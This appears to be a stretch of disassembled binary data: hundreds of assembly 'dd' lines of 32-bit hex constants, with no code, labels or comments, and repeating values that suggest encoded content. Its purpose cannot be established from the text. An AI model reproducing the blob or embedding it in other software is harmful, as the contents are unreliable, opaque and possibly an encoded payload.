		dd 3BA3F25Bh, 0D4026E69h, 1576885Ah, 94002432h,	749918D8h
		dd 56679C7h, 58F8832h, 0B9664432h, 0CDAD0623h, 0C8901BCAh
		dd 310B002Fh, 7F501295h, 156DCB32h, 0B9A01132h,	4120C720h
		dd 164D5362h, 50F3DD56h, 1A6CF232h, 15669EBAh, 1577AD32h
		dd 17792232h, 0BF3CFC25h, 41CCEDE1h, 5BBCF476h,	9CE11F9Ch
		dd 0F6791CB7h, 90EB7138h, 1F8C2C37h, 1569A93Dh,	1F8F1132h
		dd 0A1668832h, 0D6F195A6h, 4F5E094Ch, 94697125h, 15668831h
		dd 0E0A4F33Dh, 0E0B6DD53h, 73061558h, 0FD80C08Dh, 15664438h
		dd 61BFAC54h, 3497BB82h, 9F693CDFh, 15664432h, 150E4368h
		dd 75661122h, 591961B3h, 1D8F1567h, 0EC662232h,	4CE9AD49h
		dd 7452E43Bh, 1546445Ah, 4EF2D32h, 0FC661132h, 1566883Eh
		dd 4DD20D84h, 167747DAh, 0BF7E9678h, 9E698858h,	15664427h
		dd 156632DBh, 0EFFF6632h, 0FC615703h, 0DA697D5Bh, 5A730D39h
		dd 50F3EEB1h, 1A6C6B32h, 156648BEh, 1561CB32h, 29321132h
		dd 83124FD5h, 0F4E3CDCEh, 0ED6CC133h, 15C394BBh, 0E99A82D1h
		dd 0E9060458h, 15662EDBh, 5C848F32h, 328AD00Ah,	6754D193h
		dd 99694392h, 15661135h, 0F6E7EE52h, 7D0775CEh,	15663232h
		dd 156679CAh, 73068833h, 0AA699CB9h, 150C43F0h,	156601DBh
		dd 4252F732h, 0C4CFF275h, 9D7D1AE0h, 0A99CC319h, 50F3772Eh
		dd 0FC6CA732h, 15662237h, 2F998B5Ah, 0D0E301A3h, 756CA726h
		dd 9C4DAC8Ah, 0DE34A858h, 0FC07C4CBh, 15664437h, 1F15B67Ch
		dd 14D39A4Dh, 1A6C6B27h, 156648BEh, 13EF2D32h, 1A661132h
		dd 156688B1h, 0E4FBCF32h, 1A6CC11Dh, 156616B5h,	14E88732h
		dd 0EC664432h, 68D3ABC7h, 756CF22Ah, 0AA10954h,	9C07B138h
		dd 0F6709BAFh, 88EDED38h, 1F85A7C3h, 15664ADBh,	0BE425332h
		dd 0F8EF671Eh, 0BC9AEC7Eh, 0EAE50DDDh, 316AA901h, 1A62D5B1h
		dd 15668EBEh, 0AE002432h, 9607EB3Bh, 916911CBh,	1566BFFEh
		dd 1569CF3Dh, 75062232h, 1563F953h, 0A7B68832h,	4A70F91Fh
		dd 16504A53h, 11EF1132h, 156B6116h, 93384432h, 0AF13EF6Eh
		dd 3A2B383Fh, 7D6CB395h, 15665DD2h, 1A422EBBh, 156606B6h
		dd 15746132h, 0A8D64432h, 8108A09h, 0C8EF17E1h,	0FFE50274h
		dd 2D9A6Bh, 249EDE52h, 953071F2h, 0EC38CBF6h, 0DBED2453h
		dd 0DEBFA354h, 90EF7097h, 1F85A41Fh, 156649DBh,	4224132h
		dd 647BCD5Eh, 21C80FF2h, 290EC186h, 9E662232h, 0D1E53506h
		dd 0FBE77036h, 5A0F5C39h, 343FCCB3h, 61651E6Ah,	0D3E7A816h
		dd 1A3E656Bh, 0D6DE4B3h, 97695E5Bh, 15668838h, 1AADCE52h
		dd 156622B9h, 739F7032h, 14E2879Fh, 0ED664432h,	4E062B37h
		dd 3122123Ah, 1CDBDD12h, 3C6E1F52h, 469A7FDAh, 15666989h
		dd 44A58932h, 1566448Bh, 9EBF2332h, 0ED3D4803h,	2F303765h
		dd 0EB6775C5h, 3112216Dh, 43889012h, 0E9577F08h, 9E7E32CDh
		dd 0D1E5060Eh, 1C8E7136h, 0E3668832h, 0D7519F5h, 29CF4954h
		dd 4E98AE3Dh, 1CDB0153h, 0FC6CA71Bh, 15662222h,	7B239B0Ah
		dd 4AB54C41h, 0CB8FC609h, 3DA36A9h, 9069EEB7h, 15668856h
		dd 0E4E72252h, 198E2BE2h, 6E661132h, 0FC50CCD0h, 8A2E178h
		dd 9E0E1F1Bh, 0FC074EEDh, 15668839h, 0F4CDC301h, 57D11468h
		dd 0FD82D594h, 1566D616h, 156641DBh, 0A25EDC32h, 9A8F9DB6h
		dd 75668836h, 156655DAh, 84CF5432h, 0CE1DCFFBh,	5AAE9609h
		dd 82CB2ECEh, 95697C9Dh, 15661132h, 238D096Ah, 7422FBABh
		dd 9480AB64h, 156615F4h, 11880932h, 92664432h, 9C3A0606h
		dd 7D9A353Eh, 1566BEF6h, 4F4278BBh, 11B449CEh, 156602DBh
		dd 0C6B62F32h, 73D23B19h, 0A072103Dh, 7A649656h, 984440C9h
		dd 92FD1BBh, 946928D1h,	15661133h, 110C7DCEh, 5662CCBh
		dd 1E8F2232h, 0FC661132h, 90B7BA48h, 0E1D9787Eh, 0FD0E00EBh
		dd 9C661124h, 1F8FAC26h, 0E2664432h, 0A56DC0B2h, 0F7D5F449h
		dd 0E066E2BEh, 50F3BBCAh, 1A6CC132h, 156610BEh,	90EF7432h
		dd 1F8547A7h, 156625DBh, 0F5454A32h, 0EBEB9E07h, 151CE35Ah
		dd 3162AB32h, 128E7168h, 7668832h, 7B3D4BB7h, 4A935B9Bh
		dd 7498A63Dh, 434284B9h, 0D3E7A2BBh, 15662236h,	1562D7B3h
		dd 21E18832h, 0FC9E1816h, 1566223Eh, 0F7B21746h, 0D5684525h
		dd 51923808h, 153B29DAh, 18EC1E32h, 75668832h, 0EED7088Bh
		dd 69A9A350h, 7457C478h, 151D685Ah, 3152CD32h, 156631DBh
		dd 78AE6D32h, 870A3756h, 81B0204Ch, 19F17629h, 371938BDh
		dd 0AB30749Fh, 5B8A1D74h, 1638D233h, 38423576h,	5B8AD174h
		dd 156655DBh, 1EC07132h, 424340E6h, 0FF4F18FCh,	0DD400895h
		dd 0ED57F055h, 0ED57D603h, 156684DBh, 0CCEF7E32h, 1131895Fh
		dd 97928340h, 118A09AEh, 9C664432h, 0EDEF0636h,	753ED2BBh
		dd 156682DBh, 7DA7A032h, 4E8A6EE7h, 9E5CCCE7h, 0CA0EE9F0h
		dd 9C664410h, 7306060Eh, 4556AD8Dh, 0D556E96Dh,	1567CC3Dh
		dd 1A9F2232h, 156616BCh, 14E58732h, 0E0664432h,	0FC9B579Ch
		dd 15661135h, 0A6EDECCBh, 0FCDCFF7Ah, 1566223Dh, 596F6842h
		dd 85B000F2h, 92531773h, 1A33C7BFh, 15661FB7h, 156F6132h
		dd 304432h, 0A9855842h,	0EAB63CE5h, 9438AC06h, 156640F6h
		dd 12E52D32h, 1A661132h, 156689BCh, 0D2E7B832h,	45C1633h
		dd 0A833CE1Bh, 45CBC33h, 753BAB1Bh, 15662FDBh, 28980E32h
		dd 26ED6CE5h, 8C680048h, 0FBDCB621h, 7414C832h,	1569755Ah
		dd 3172CD32h, 15662EDBh, 7019932h, 19456F9Ah, 2987F169h
		dd 9C3573D0h, 4EBF98C9h, 0E93F42BBh, 0A6BF9B9h,	0AC9F28D1h
		dd 0EA99EECDh, 1569003Dh, 0FD064432h, 15662235h, 0F92F8F9Eh
		dd 4CFDB374h, 75A67553h, 0C16CD1B3h, 440741BEh,	0B8BE064h
		dd 5B3840D4h, 0B8ACCB3h, 0E4EF15D4h, 9F97896Ch,	259A1D33h
		dd 0AE35DBFAh, 15661133h, 1A3D5633h, 15664CB5h,	0C0E64232h
		dd 0C0A191B1h, 15616153h, 0B6D84432h, 0DFAE9139h, 9252EE5Eh
		dd 7A42A4B3h, 9E54A51Dh, 0D1E70636h, 15661136h,	0F449E737h
		dd 48F2400h, 20662232h,	62ABE748h, 5F0DE129h, 2B945ADh
		dd 1F909392h, 0CFE5118Ah, 0FCA7E96Ah, 156CAD3Ah, 9552232h
		dd 0FF29F2h, 0E496783Bh
		dd 95698503h, 1566223Eh, 156616DBh, 39C10232h, 6F8D8700h
		dd 43E32D78h, 0FC99EECDh, 15668835h, 35B4AD9Ch,	44465A22h
		dd 944215B9h, 15668CF6h, 9E002432h, 44F743F4h, 4C4205C5h
		dd 0EA9A70A3h, 963C6006h, 450626F6h, 753FF6B8h,	15660A3Dh
		dd 74074432h, 15669B63h, 0C4671132h, 19ED89BBh,	11A2C716h
		dd 9E0042CEh, 7444A2F1h, 5FDDDB65h, 5663D04Ch, 0F6E7F9C5h
		dd 3F92545Eh, 14467BB3h, 0CAEF6E52h, 4A9C2369h,	15661BDBh
		dd 11FB9E32h, 33E52232h, 7D7A4747h, 156646C4h, 1A429CBBh
		dd 15664CB1h, 17E52D32h, 75661132h, 38E37753h, 756CA71Eh
		dd 156633DBh, 5EF06C32h, 0CAE4417Fh, 4C88091Ch,	0D0730FE8h
		dd 0A2699563h, 80EDE9C2h, 1F85681Fh, 1CF31BCBh,	1A6CF21Bh
		dd 1566FBB6h, 1EDB832h,	0F2EF7516h, 1562D6B3h, 0D2E58832h
		dd 315AC336h, 0CE02D6Eh, 0FC661132h, 15668826h,	1CF288B9h
		dd 790B2263h, 1053882Ah, 0E484FED5h, 0FFBAE7DBh, 4B4216CDh
		dd 1A62D5B1h, 15668FB8h, 14E44B32h, 0E9662232h,	17DFAB60h
		dd 0E22CAE37h, 57BCB3E0h, 0A28CA370h, 14401430h, 0FC9ED2E4h
		dd 0EA99B8FAh, 0FC96A852h, 15661135h, 62901CD1h, 747140A8h
		dd 464236B9h, 0D6E7F2BBh, 15668836h, 156287B3h,	9E12232h
		dd 0EA9F4D16h, 9638AC06h, 128F40F6h, 49662232h,	399CF37Bh
		dd 1A07EF25h, 156648B6h, 13EC2D32h, 1A661132h, 156688B3h
		dd 3152BB32h, 11A2A16Bh, 0DE41ECBh, 0FC668832h,	15664421h
		dd 17F1F8F9h, 0FD1ABFEDh, 5A49ADABh, 1A932DCFh,	9E77F679h
		dd 9C333536h, 11A309D7h, 96664432h, 39E126F7h, 73064D16h
		dd 367A6EB3h, 0FCE38353h, 156CC13Ah, 75661132h,	95A00354h
		dd 0D2076FDBh, 0F648C3B7h, 15661138h, 1FED8732h, 0FC664432h
		dd 15662237h, 0B3BC09A5h, 6DB0B9Eh, 156CAEC0h, 156AA63Dh
		dd 98931132h, 0FCB0DFAFh, 0EA072438h, 9099DAE1h, 1F853DCFh
		dd 1FEA8752h, 0FC664432h, 15662237h, 0EED7CEB9h, 0CCD187C8h
		dd 0E8DBC753h, 716CC11Eh, 17F1933Dh, 198F8832h,	9B664432h
		dd 0FEFEAE7Ah, 56210B8Bh, 0E97EE24Bh, 399BC1F5h, 156728D1h
		dd 0FC061132h, 1566883Dh, 0AA3628D7h, 5AC8928Ah, 70D624B0h
		dd 7446455Bh, 99692452h, 15662230h, 0AB007052h,	980706F1h
		dd 0FF0B20B7h, 10E92D38h, 75661132h, 74960354h,	976994CDh
		dd 15662233h, 0F6D39CC7h, 756C62C0h, 50386B3h, 0AF003106h
		dd 980738A9h, 0FE1A298Fh, 7ED4B38h, 0FC662232h,	1566113Fh
		dd 6D6F25CEh, 0E6FF6A41h, 0D62F0DFDh, 4789903Ah, 9456D95Eh
		dd 257E1DDh, 94910B24h,	257B4F5h, 47A10924h, 0EC56155Eh
		dd 3172A965h, 7562D5B1h, 0F0A7328Ch, 0FAE7222Dh, 9E076190h
		dd 0F6791C8Fh, 12E88738h, 1A664432h, 156623BFh,	0EADFED32h
		dd 1A9977CDh, 15664CB5h, 17E72D32h, 75661132h, 75A6B953h
		dd 1564CE3Dh, 0BCD52232h, 46078B86h, 15668889h,	3A8DC532h
		dd 14388870h, 3AA590C1h, 9F382270h, 48F1F31h, 5662232h
		dd 8150E846h, 0B0AF1E89h, 0B8462133h, 0BD5CA657h, 0FC9ED902h
		dd 1566883Ch, 2755A7CDh, 13935402h, 7EABB3F9h, 0AE35E57Ch
		dd 2F12468h, 4357E1B3h,	94252AE7h, 0A27864F1h, 0FD8DC506h
		dd 9461974Ah, 7B3A9ED9h, 4EB889B2h, 1561C33Dh, 95692232h
		dd 15661133h, 925277CEh, 944240B9h, 156626F6h, 14E41E32h
		dd 0E0668832h, 1A6EADF3h, 156623B9h, 0D457E832h, 15669CDBh
		dd 13BDBC32h, 0D72518F3h, 702FA83Ah, 455E99CAh,	0B45A8A39h
		dd 9069682Eh, 0EA99EE73h, 15696152h, 0F084432h,	0F22C4164h
		dd 69BA2CC7h, 9625B904h, 4E35125Fh, 710E436Ah, 9C661116h
		dd 0D8EFAC1Eh, 753BACBBh, 156632DAh, 7B53832h, 79F643EEh
		dd 0BE45907Fh, 0FDF9394Fh, 1576F850h, 0C9B78832h, 0D612E682h
		dd 0AECA4737h, 21DFAC7Ch, 9539558Bh, 7D074EC5h,	15666631h
		dd 0E24215BBh, 0E93EAC26h, 275BC10Bh, 916928D1h, 15661149h
		dd 0A5DFD9CEh, 43742542h, 0B54D6C5Ah, 0DBE74F2Dh, 7D41AEB8h
		dd 0AA78AAB3h, 0E5EF4F77h, 4CAE206Ch, 0CCE7EE52h, 966947BBh
		dd 15662231h, 744AFDB2h, 90694839h, 15664413h, 1561A93Dh
		dd 9F691132h, 15668833h, 0B4E383C7h, 146CC123h,	0FC661132h
		dd 15668837h, 83F9ED7Eh, 87DE7277h, 0E2350460h,	6628ADEAh
		dd 814B4620h, 9499F2F5h, 7D1754F3h, 94A78946h, 7D1701DBh
		dd 749F7A46h, 1560F852h, 70A38832h, 0D388945Eh,	0CED97553h
		dd 4728C6B8h, 0C4EF72BBh, 45061B68h, 1A38E4B9h,	15661DB9h
		dd 15616132h, 5F604432h, 308AF49Eh, 630E7036h, 9E4C83AEh
		dd 0D1E56026h, 1EEE2D36h, 0FC661132h, 15668834h, 44CC5470h
		dd 75CB2691h, 3EDC7760h, 9534D28Bh, 743E89C5h, 0D1B97BBh
		dd 108F1BD1h, 49668832h, 4616E0A5h, 61289A62h, 0B7631CA1h
		dd 9C233BA6h, 943EB874h, 0E276DE74h, 0FC06BD8Ah, 1566883Dh
		dd 844983DAh, 2702B865h, 553E0D19h, 73E9F9E0h, 7463268Ch
		dd 0FB88CC0Fh, 89E31EDCh, 1A668832h, 15664CBEh,	17E92D32h
		dd 75661132h, 0C8580953h, 1ABB99EFh, 1566A0B7h,	79D87132h
		dd 745B7551h, 333A42F5h, 33A7589Fh, 1CDE4136h, 1C44B61Ch
		dd 3BE71C34h, 5222712Dh, 320917B3h, 23E7ADB8h, 2CA70EECh
		dd 1BA114B3h, 969FA1B7h, 39EF8CDEh, 1562F916h, 0FB672232h
		dd 156CF86Fh, 4858832h,	19C74843h, 2DA4B1C3h, 0D1BA4BBh
		dd 58F82D1h, 0EF664432h, 0CBC46029h, 29335AACh,	0E08A4E24h
		dd 0FC491106h, 15660E35h, 15619E3Dh, 98698832h,	15664433h
		dd 0EBADCBCAh, 439EEECDh, 9C374EBBh, 4CADCDC3h,	7E02D6Ch
		dd 0FC661132h, 1566883Fh, 9BDDA89Eh, 41C54326h,	548D11EDh
		dd 0B4E3BB26h, 0EC6CA723h, 0ED65EAF3h, 1D1A5837h, 42B6A149h
		dd 9221F98Dh, 76A9A30Ah, 0E23EE850h, 94B97FE5h,	0F5455EFDh
		dd 4C91A372h, 945FF434h, 49672DDh, 4A9E6DF4h, 156EA63Dh
		dd 1A061132h, 156688BFh, 0D5A72532h, 14E92D22h,	0EC661132h
		dd 1A064003h, 9F69B48Dh, 15662231h, 74A4A63Dh, 4C715BBh
		dd 95694ED1h, 15662226h, 1561F852h, 41858832h, 3FFEFADh
		dd 15ED2D8Bh, 74661132h, 1466880Fh, 0A9E54B32h,	0E9662233h
		dd 157F953Dh, 18F8832h,	5E664432h, 4C7DE566h, 0A4C901FFh
		dd 875B9399h, 0C32EACF7h, 943CDB62h, 0AEDDAA0Ch, 85E38789h
		dd 0FC664433h, 15662237h, 9279A6BBh, 7D34DDA5h,	41CE1C3Dh
		dd 94BCD568h, 34F187C0h, 4FB301DEh, 250142F5h, 3B4F6544h
		dd 1577F86Fh, 676C8832h, 0ECE3285Ah, 7DA13977h,	0B5458A59h
		dd 460F2F3Fh, 15664089h, 9EB82332h, 0D1E7352Eh,	15668836h
		dd 1572AC52h, 3DB52232h, 0BBB6BD9Eh, 4A4FA79Dh,	16523F83h
		dd 4C76C50Dh, 0A269D396h, 9C07D0E2h, 0F67E3987h, 88EDD738h
		dd 1F853EC3h, 1567073Dh, 0EA9A4432h, 316AA901h,	1562D5B3h
		dd 0EC9A8832h, 3162C562h, 1B45690Ah, 964205B9h,	0FFE78CF6h
		dd 1B450F0Ah, 156CAE3Dh, 95061132h, 77D823E9h, 743B1F11h
		dd 9C35DA52h, 9EBE98E1h, 0D1E7AC2Eh, 15664436h,	904DD7C7h
		dd 1F8519FBh, 17E88752h, 9E664432h, 0DFD12DC1h,	1786D053h
		dd 0D5993152h, 0AD0041D4h, 0FC078E55h, 1566113Ch, 0BE65C89Dh
		dd 0EE68B22Fh, 944D4F6Bh, 9065AACFh, 1F85829Fh,	249675CEh
		dd 759613F4h, 736BFCB2h, 0B80756B9h, 0C6A3FB52h, 75073BB2h
		dd 0E7BEB789h, 156D6171h
		dd 0F4CF4432h, 33DED75Ah, 687FE39Eh, 0CB4BE903h, 38356F70h
		dd 284A0022h, 563D933h,	105BA410h, 464D06ECh, 0D6E74252h
		dd 2498E0F2h, 0A3850954h, 0CCE62584h, 51EF43E4h, 188F0D16h
		dd 0EA668832h, 14035C1Ah, 335BA517h, 7B662D2Dh,	1E8F7D53h
		dd 84664432h, 858BA75Ah, 7E2ACB4Ch, 0B08F16BDh,	1A664431h
		dd 156628B7h, 1563F832h, 0DAED8832h, 40FEFC65h,	0D0E7C7BBh
		dd 15661136h, 156265B3h, 39E14432h, 19EF7E16h, 94007116h
		dd 0FCFF62F0h, 15664434h, 0AF97B7F4h, 4707F7F3h, 0D7E76ABBh
		dd 15664436h, 9262C8B1h, 9C3A3526h, 18FAC26h, 0CB664432h
		dd 0C882FC3h, 8A57AB73h, 0CB67B49Ch, 32322F91h,	243801EBh
		dd 1575F8FBh, 6A128832h, 69A36A75h, 66A231FBh, 2E640A88h
		dd 96933D35h, 80F3CF0Dh, 1A6CC131h, 15663FBBh, 1A8FE832h
		dd 0E4664432h, 299069B3h, 8B07383Bh, 692228D6h,	68FA66Ch
		dd 0EA662232h, 0F14C2BACh, 10EDCE8Eh, 0D56F814Fh, 1FC2439Dh
		dd 0ED0795C8h, 91698A09h, 156644D0h, 1573A43Dh,	95691132h
		dd 1566883Dh, 15664EDBh, 276A6E32h, 0D1465751h,	7D566C1Ch
		dd 1566119Bh, 0AE423EBBh, 15661136h, 1A3D5233h,	156652BFh
		dd 1577CB32h, 862D1132h, 5040DBAEh, 0A888AD40h,	2E44D42Bh
		dd 43520DD5h, 4C151E8Ch, 0B180C57Bh, 0D426CE36h, 0F3A714D4h
		dd 0EA880931h, 142E44B1h, 91697CC3h, 15661135h,	1567023Dh
		dd 2E9E4432h, 0F64F2BBFh, 68E31E38h, 1A9977CDh,	156657B4h
		dd 18E62D32h, 0FC661132h, 1566883Ah, 7FB892ACh,	0A5BEB175h
		dd 1562FDB3h, 29EF8832h, 44DB2C16h, 0D43944ACh,	0E2E713D5h
		dd 8F1FCEC6h, 0E039BCBBh, 5B08AFBFh, 97691BD1h,	15668825h
		dd 156656DBh, 0E02E3F32h, 0EB40CBAAh, 4032A954h, 0B2CAB5FDh
		dd 0EA27369Ch, 156EF8D3h, 9A9E8832h, 957847F7h,	98EF93F1h
		dd 1F853D1Fh, 15668FDBh, 5462F832h, 0EA6FE84Dh,	4F4225CDh
		dd 15624CB3h, 1B8F4432h, 0E8662232h, 0BE26D6B1h, 0A3D062Ah
		dd 3B374BE9h, 940042DDh, 7310C2FDh, 0EA074AB9h,	963F6006h
		dd 1A8F26F6h, 96661132h, 14866738h, 359C2AA8h, 0F918685Ah
		dd 9C362A3Fh, 15628DD2h, 0FDE54432h, 3162A536h,	3152986Eh
		dd 156E0E3Dh, 95694432h, 15662230h, 88ED7052h, 1F85A7C3h
		dd 156641DBh, 3A9F4D32h, 0CF0E09E1h, 9C668820h,	15DC6026h
		dd 14662232h, 4F6C9AE8h, 156A043Dh, 9E694432h, 15662234h
		dd 15669E3Dh, 90ED8832h, 1F85681Fh, 7586F3CAh, 72889054h
		dd 0FDE7EECCh, 16076B68h, 0F66C53B7h, 1560F838h, 0ACFA8832h
		dd 0B7D56107h, 9C69D403h, 1566113Bh, 0CDEDEE52h, 932CFF54h
		dd 0C20E7253h, 9C661109h, 4B3EAC06h, 0EE4B52h, 0FD662232h
		dd 1566113Dh, 0B8FEA602h, 0CFB1C7BFh, 7945A549h, 4B23D844h
		dd 74275BB2h, 1A06E954h, 0A269D08Dh, 0AF0670CCh, 7C8E7E7Ah
		dd 17868553h, 15662DDBh, 45EA1132h, 0F62C7FADh,	823308FEh
		dd 0F71EC015h, 1FCB9431h, 976982D1h, 15664433h,	36EA2DCBh
		dd 75661132h, 156681DBh, 2C895D32h, 2168A57h, 1B8F2D79h
		dd 0CA668832h, 84481FFDh, 2F2DB772h, 0DF51C467h, 0A30EE9C3h
		dd 9C664404h, 4D300636h, 198F716Ch, 0D1668832h,	0D5DB9BD5h
		dd 400479E1h, 1AC5C5FFh, 15668EB3h, 15EE4B32h, 74662232h
		dd 48E719Fh, 67668832h,	0AE8D0628h, 47E9CD0Dh, 3F8B369Ah
		dd 9AC506Fh, 9880618Bh,	0C4EC7D44h, 58031453h, 874BC51Ah
		dd 14156A4Eh, 69F427FAh, 704B621Ch, 0FC2BA07Fh,	15664426h
		dd 0D9CD4D3h, 83A7DB95h, 0E385DCB5h, 0A25CD9B6h, 0FDD44FA4h
		dd 474225B9h, 0D7E76ABBh, 15664436h, 1562E0B3h,	1E11132h
		dd 108FD416h, 2A664432h, 1F0CA138h, 3C1BACB1h, 1A6782D1h
		dd 1566E1B6h, 0A2694232h, 1574F9F2h, 0A4268832h, 94C4F3A4h
		dd 8C6D5324h, 0C3EAA84h, 0A1CFC09h, 156643DBh, 0CB813F32h
		dd 0A4985A3Bh, 985DE96Bh, 1F857577h, 1516A63Dh,	2E9A1132h
		dd 0F653EDBFh, 76E24B38h, 0E0662232h, 11D39C09h, 916982D1h
		dd 15664464h, 49FBAFCAh, 1A6CFA7Dh, 156689B8h, 0C699B132h
		dd 156CA53Dh, 1A061132h, 156688B9h, 74B7CF32h, 1562CEB3h
		dd 11EF1132h, 1C8FD716h, 0B3664432h, 0E7E64564h, 73C93EB7h
		dd 3EEF0DBBh, 0FC9F4ED1h, 1566022Bh, 156A993Dh,	90698832h
		dd 15664434h, 1566AA3Dh, 88EB1132h, 1F8DC76Eh, 156FAD52h
		dd 946F2232h, 0AF661901h, 0FDE522D8h, 15664437h, 0D03C34BAh
		dd 0F0DF77D2h, 0EA07D7D4h, 916924E1h, 15662233h, 74A89ACAh
		dd 3C1B35B1h, 1A664ED1h, 15661BB6h, 156DF832h, 9C728832h
		dd 8B984A11h, 0A2952359h, 0CCE32A6Bh, 1A6C6B25h, 156655B6h
		dd 62D74232h, 60E32A53h, 1A6C6B27h, 156649B7h, 2F8FDE32h
		dd 1A99EECDh, 156689BAh, 905DB132h, 1F853663h, 1509943Dh
		dd 95068832h, 0AA6900DEh, 0A8E543C3h, 1F85335Bh, 37E28732h
		dd 75664432h, 1564A53Dh, 4D361132h, 0DCDB0B53h,	156CA711h
		dd 1525A63Dh, 1A061132h, 15668BBBh, 0DAED2232h,	0FE3AF53h
		dd 756CFBD2h, 74A70354h, 15664FDBh, 0A2A3A932h,	0CA0015B9h
		dd 0D46C210h, 0EA9894DBh, 1575CBCDh, 560A1132h,	40A7F33Eh
		dd 0C1BA5118h, 0E738142h, 291467C5h, 44E3B357h,	1A6CA726h
		dd 0EA988EB6h, 1561F8CDh, 87498832h, 6726FCDDh,	14E82DA4h
		dd 0ED661132h, 0E49135B1h, 1A674ED8h, 156645B7h, 19E71E32h
		dd 1A668832h, 156642B2h, 15E42D32h, 2E661132h, 0FF94A3B7h
		dd 5CE34B38h, 0FC662232h, 1566113Fh, 5FCB673Fh,	0DB669833h
		dd 6CC94A19h, 0F1E39C8Ch, 7566D139h, 156641DAh,	217B5332h
		dd 128FD40Fh, 9C668832h, 0E742F6E3h, 733D5893h,	740BC888h
		dd 0EA98DBDBh, 156CADCDh, 8C262232h, 0C88C8E7Fh, 0C04C1D5Bh
		dd 1B8FBB03h, 8F662232h, 0E4CDE604h, 3BF04E42h,	6D379554h
		dd 18DBA1D9h, 156CF236h, 41C0C3Dh, 188F4432h, 9D662232h
		dd 9A0F069Ch, 0F3902D9Eh, 466089ADh, 1567A63Dh,	2E9A1132h
		dd 0FF949FB7h, 7DE34B38h, 0FC662232h, 1566113Bh, 2F77C2AFh
		dd 0F09E8D81h, 8E3A9E0h, 756CF23Bh, 156684DAh, 8AA32732h
		dd 665764E0h, 9AA342A3h, 15EC87FAh, 4E664432h, 1562A83Dh
		dd 0AE001132h, 4507163Ah, 1566458Ah, 4DA12332h,	156618DBh
		dd 0F6B20532h, 59D7B244h, 946900BAh, 15661121h,	156686DBh
		dd 9B0A3F32h, 52D28C35h, 0D582AFFFh, 2E280E82h,	0FF945BB7h
		dd 8E32D38h, 0FC661132h, 15668835h, 3B27014Dh, 9EAC0E6Dh
		dd 0F66150B7h, 0AC377138h, 0EA99BBCDh, 0ED3FED1Bh, 0E77D9409h
		dd 906982D8h, 15664407h, 0FFE64252h, 8558AAAAh,	7307F183h
		dd 9E079DB9h, 0F67FFFB7h, 1E8E7138h, 0A3668832h, 54E78398h
		dd 9EDF7860h, 1A39C484h, 46074E8Dh, 15664589h, 4EB92332h
		dd 36E32AC7h, 1A6C62C0h, 156602B7h, 12EC2D32h, 75661132h
		dd 0AA6976B9h, 90ED25EDh, 1F85011Bh, 156618DBh,	0ACCA0B32h
		dd 36767597h, 439FD075h, 0E846388Ch, 0D420CE51h, 0E3E746D4h
		dd 656D5D61h, 1A38E61Bh, 156682B3h, 0CBED2432h,	1566AA3Dh
		dd 2E071132h, 0FF94AFB7h, 21E34B38h, 0E9662232h, 39B794B9h
		dd 9F6982D1h, 1566443Eh, 0DFDC4452h, 15E11E42h,	74668832h
		dd 0EA99FF61h, 0CA4FDDCDh, 73367169h, 4F8ED48Dh, 1562CC3Dh
		dd 0AE002232h, 2E07205Bh, 0FF94A3B7h, 6CE34B38h, 75662232h
		dd 1564983Dh, 0BDD28832h
		dd 1560C43Dh, 97692232h, 15661132h, 1C8EE853h, 6D664432h
		dd 18374EE6h, 47F20E7Ch, 0ADB1086Bh, 78E3CF53h,	1A6CC131h
		dd 156610BDh, 108F7432h, 2D664432h, 25F4D47Bh, 55DFAF64h
		dd 0FBE7F4ABh, 5E6B009Eh, 1703CCB3h, 0F3E70D8Eh, 1C18DB3Fh
		dd 446FAAB3h, 0E24F227Ch, 156DF86Ch, 54658832h,	39FD0CEh
		dd 0FBA98EEBh, 94007179h, 74EB9ED2h, 0E749C109h, 906928D8h
		dd 15661171h, 1561093Dh, 96694432h, 15662233h, 0DCE39ACAh
		dd 0ED6C6B38h, 3162BB65h, 94421EB9h, 156615F6h,	58FE832h
		dd 0E5664432h, 57DB63E0h, 590845D6h, 0AEC9326Dh, 1A870BD1h
		dd 156627BCh, 0CBE77732h, 2E077F57h, 0FF9477B7h, 3BE32D38h
		dd 75661132h, 1566013Dh, 46364432h, 9E077B69h, 0F64F2CB7h
		dd 15616138h, 51674432h, 3A51023Dh, 0EADC43B3h,	3C9977CDh
		dd 9A691EE5h, 15662233h, 22E32ACBh, 1A6C62C0h, 156626B7h
		dd 1572CB32h, 0F8221132h, 3A5B4E2Bh, 1AFC5C65h,	2DBAFB14h
		dd 0EE825647h, 90EDD25Dh, 1F855D83h, 1572A63Dh,	1A061132h
		dd 1C8E408Dh, 8A664432h, 0F20DE679h, 30E621FEh,	9631E96Dh
		dd 4A99601Eh, 156ACA52h, 27E31132h, 5A7BF2B0h, 7E037E49h
		dd 0C0E698D4h, 9969488Fh, 15668834h, 1566CA3Dh,	2E072232h
		dd 0FF942AB7h, 3FE38738h, 0E0664432h, 523A7B9h,	18F1BD1h
		dd 43668832h, 3505F3Ch,	0BAF6067Ah, 66CC6B03h, 0E734E1F2h
		dd 46FF627Dh, 0EA99DD89h, 4EB938CDh, 56E3B3CAh,	1A6CAEC0h
		dd 15667AB7h, 156AF832h, 0D7CE8832h, 0E706D79Dh, 4FD79E97h
		dd 18F9AD4h, 0C1668832h, 3522437h, 1B98DC5Ch, 0DE137541h
		dd 50C73F19h, 9E2C0681h, 0F6713BB7h, 1FEA1E38h,	0FC668832h
		dd 15664437h, 130D673Bh, 14DB44E3h, 14668832h, 1F8F19DDh
		dd 0B3662232h, 71ABF447h, 3268E22Dh, 2AE37F51h,	1A6CC8C0h
		dd 156678B7h, 9CDCE832h, 747E45A5h, 154F9FB1h, 1A661BD1h
		dd 1566DDB7h, 0C3ED2432h, 74A9A954h, 94B94B9h, 940682D1h
		dd 6428B4F2h, 17EE2D4Bh, 9E661132h, 0A833E9F5h,	7CD93990h
		dd 68C5CFB3h, 0FA4F788Dh, 1568616Fh, 0D4FA4432h, 0D9535442h
		dd 9E7678ACh, 0EF9D39EDh, 1576C83Dh, 1E8F2232h,	1E661132h
		dd 0C14C8246h, 80078A24h, 0A8E5BB40h, 1F850937h, 59E28732h
		dd 0FC664432h, 1566223Dh, 40939E9Ah, 0F886A334h, 0CA34C00Fh
		dd 2EA80D4Ch, 0FF94DAB7h, 39E38738h, 1A664432h,	156637BDh
		dd 198F7132h, 75668832h, 8A1EE144h, 72211C5Dh, 47CCC349h
		dd 90EDE968h, 1F857503h, 14DE72CBh, 14661132h, 969FD0F5h
		dd 0F67D218Fh, 91692238h, 156613ACh, 0CDB0BCAh,	156CA717h
